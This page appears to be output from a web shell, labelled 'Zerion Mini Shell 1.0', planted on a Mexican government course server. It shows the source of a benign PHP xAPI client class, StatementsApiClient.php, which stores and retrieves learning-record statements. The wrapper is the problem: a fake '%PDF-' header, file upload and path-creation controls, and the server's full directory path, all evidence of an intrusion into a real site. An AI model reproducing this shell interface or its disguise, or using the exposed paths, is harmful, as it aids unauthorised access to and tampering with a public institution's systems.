%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/cursos.tjamich.gob.mx/vendor/php-xapi/client/src/Api/
Upload File :
Create Path :
Current File : /home/tjamichg/cursos.tjamich.gob.mx/vendor/php-xapi/client/src/Api/StatementsApiClient.php

<?php

/*
 * This file is part of the xAPI package.
 *
 * (c) Christian Flothmann <christian.flothmann@xabbuh.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Xabbuh\XApi\Client\Api;

use Xabbuh\XApi\Client\Http\MultipartStatementBody;
use Xabbuh\XApi\Client\Request\HandlerInterface;
use Xabbuh\XApi\Model\StatementId;
use Xabbuh\XApi\Serializer\ActorSerializerInterface;
use Xabbuh\XApi\Serializer\StatementResultSerializerInterface;
use Xabbuh\XApi\Serializer\StatementSerializerInterface;
use Xabbuh\XApi\Model\Actor;
use Xabbuh\XApi\Model\Statement;
use Xabbuh\XApi\Model\StatementResult;
use Xabbuh\XApi\Model\StatementsFilter;

/**
 * Client to access the statements API of an xAPI based learning record store.
 *
 * @author Christian Flothmann <christian.flothmann@xabbuh.de>
 */
final class StatementsApiClient implements StatementsApiClientInterface
{
    private $requestHandler;
    private $version;
    private $statementSerializer;
    private $statementResultSerializer;
    private $actorSerializer;

    /**
     * @param HandlerInterface                   $requestHandler            The HTTP request handler
     * @param string                             $version                   The xAPI version
     * @param StatementSerializerInterface       $statementSerializer       The statement serializer
     * @param StatementResultSerializerInterface $statementResultSerializer The statement result serializer
     * @param ActorSerializerInterface           $actorSerializer           The actor serializer
     */
    public function __construct(
        HandlerInterface $requestHandler,
        $version,
        StatementSerializerInterface $statementSerializer,
        StatementResultSerializerInterface $statementResultSerializer,
        ActorSerializerInterface $actorSerializer
    ) {
        $this->requestHandler = $requestHandler;
        $this->version = $version;
        $this->statementSerializer = $statementSerializer;
        $this->statementResultSerializer = $statementResultSerializer;
        $this->actorSerializer = $actorSerializer;
    }

    /**
     * {@inheritDoc}
     */
    public function storeStatement(Statement $statement)
    {
        if (null !== $statement->getId()) {
            return $this->doStoreStatements(
                $statement,
                'put',
                array('statementId' => $statement->getId()->getValue()),
                204
            );
        } else {
            return $this->doStoreStatements($statement);
        }
    }

    /**
     * {@inheritDoc}
     */
    public function storeStatements(array $statements)
    {
        // check that only Statements without ids will be sent to the LRS
        foreach ($statements as $statement) {
            /** @var Statement $statement */

            $isStatement = is_object($statement) && $statement instanceof Statement;

            if (!$isStatement || null !== $statement->getId()) {
                throw new \InvalidArgumentException('API can only handle statements without ids');
            }
        }

        return $this->doStoreStatements($statements);
    }

    /**
     * {@inheritDoc}
     */
    public function voidStatement(Statement $statement, Actor $actor)
    {
        return $this->storeStatement($statement->getVoidStatement($actor));
    }

    /**
     * {@inheritDoc}
     */
    public function getStatement(StatementId $statementId, $attachments = true)
    {
        return $this->doGetStatements('statements', array(
            'statementId' => $statementId->getValue(),
            'attachments' => $attachments ? 'true' : 'false',
        ));
    }

    /**
     * {@inheritDoc}
     */
    public function getVoidedStatement(StatementId $statementId, $attachments = true)
    {
        return $this->doGetStatements('statements', array(
            'voidedStatementId' => $statementId->getValue(),
            'attachments' => $attachments ? 'true' : 'false',
        ));
    }

    /**
     * {@inheritDoc}
     */
    public function getStatements(StatementsFilter $filter = null, $attachments = true)
    {
        $urlParameters = array();

        if (null !== $filter) {
            $urlParameters = $filter->getFilter();
        }

        // the Agent must be JSON encoded
        if (isset($urlParameters['agent'])) {
            $urlParameters['agent'] = $this->actorSerializer->serializeActor($urlParameters['agent']);
        }

        return $this->doGetStatements('statements', $urlParameters);
    }

    /**
     * {@inheritDoc}
     */
    public function getNextStatements(StatementResult $statementResult)
    {
        return $this->doGetStatements($statementResult->getMoreUrlPath()->getValue());
    }

    /**
     * @param Statement|Statement[] $statements
     * @param string                $method
     * @param string[]              $parameters
     * @param int                   $validStatusCode
     *
     * @return Statement|Statement[] The created statement(s)
     */
    private function doStoreStatements($statements, $method = 'post', $parameters = array(), $validStatusCode = 200)
    {
        $attachments = array();

        if (is_array($statements)) {
            foreach ($statements as $statement) {
                if (null !== $statement->getAttachments()) {
                    foreach ($statement->getAttachments() as $attachment) {
                        if ($attachment->getContent()) {
                            $attachments[] = $attachment;
                        }
                    }
                }
            }

            $serializedStatements = $this->statementSerializer->serializeStatements($statements);
        } else {
            if (null !== $statements->getAttachments()) {
                foreach ($statements->getAttachments() as $attachment) {
                    if ($attachment->getContent()) {
                        $attachments[] = $attachment;
                    }
                }
            }

            $serializedStatements = $this->statementSerializer->serializeStatement($statements);
        }

        $headers = array();

        if (!empty($attachments)) {
            $builder = new MultipartStatementBody($serializedStatements, $attachments);
            $headers = array(
                'Content-Type' => 'multipart/mixed; boundary='.$builder->getBoundary(),
            );
            $body = $builder->build();
        } else {
            $body = $serializedStatements;
        }

        $request = $this->requestHandler->createRequest(
            $method,
            'statements',
            $parameters,
            $body,
            $headers
        );
        $response = $this->requestHandler->executeRequest($request, array($validStatusCode));
        $statementIds = json_decode((string) $response->getBody());

        if (is_array($statements)) {
            /** @var Statement[] $statements */
            $createdStatements = array();

            foreach ($statements as $index => $statement) {
                $createdStatements[] = $statement->withId(StatementId::fromString($statementIds[$index]));
            }

            return $createdStatements;
        } else {
            /** @var Statement $statements */

            if (200 === $validStatusCode) {
                return $statements->withId(StatementId::fromString($statementIds[0]));
            } else {
                return $statements;
            }
        }
    }

    /**
     * Fetch one or more Statements.
     *
     * @param string $url           URL to request
     * @param array  $urlParameters URL parameters
     *
     * @return Statement|StatementResult
     */
    private function doGetStatements($url, array $urlParameters = array())
    {
        $request = $this->requestHandler->createRequest('get', $url, $urlParameters);
        $response = $this->requestHandler->executeRequest($request, array(200));

        $contentType = $response->getHeader('Content-Type')[0];
        $body = (string) $response->getBody();
        $attachments = array();

        if (false !== strpos($contentType, 'application/json')) {
            $serializedStatement = $body;
        } else {
            $boundary = substr($contentType, strpos($contentType, '=') + 1);
            $parts = $this->parseMultipartResponseBody($body, $boundary);
            $serializedStatement = $parts[0]['content'];

            unset($parts[0]);

            foreach ($parts as $part) {
                $attachments[$part['headers']['X-Experience-API-Hash'][0]] = array(
                    'type' => $part['headers']['Content-Type'][0],
                    'content' => $part['content'],
                );
            }
        }

        if (isset($urlParameters['statementId']) || isset($urlParameters['voidedStatementId'])) {
            return $this->statementSerializer->deserializeStatement($serializedStatement, $attachments);
        } else {
            return $this->statementResultSerializer->deserializeStatementResult($serializedStatement, $attachments);
        }
    }

    private function parseMultipartResponseBody($body, $boundary)
    {
        $parts = array();
        $lines = explode("\r\n", $body);
        $currentPart = null;
        $isHeaderLine = true;

        foreach ($lines as $line) {
            if (false !== strpos($line, '--'.$boundary)) {
                if (null !== $currentPart) {
                    $parts[] = $currentPart;
                }

                $currentPart = array(
                    'headers' => array(),
                    'content' => '',
                );
                $isBoundaryLine = true;
                $isHeaderLine = true;
            } else {
                $isBoundaryLine = false;
            }

            if ('' === $line) {
                $isHeaderLine = false;
                continue;
            }

            if (!$isBoundaryLine && !$isHeaderLine) {
                $currentPart['content'] .= $line;
            } elseif (!$isBoundaryLine && $isHeaderLine) {
                list($name, $value) = explode(':', $line, 2);
                $currentPart['headers'][$name][] = $value;
            }
        }

        return $parts;
    }
}

Zerion Mini Shell 1.0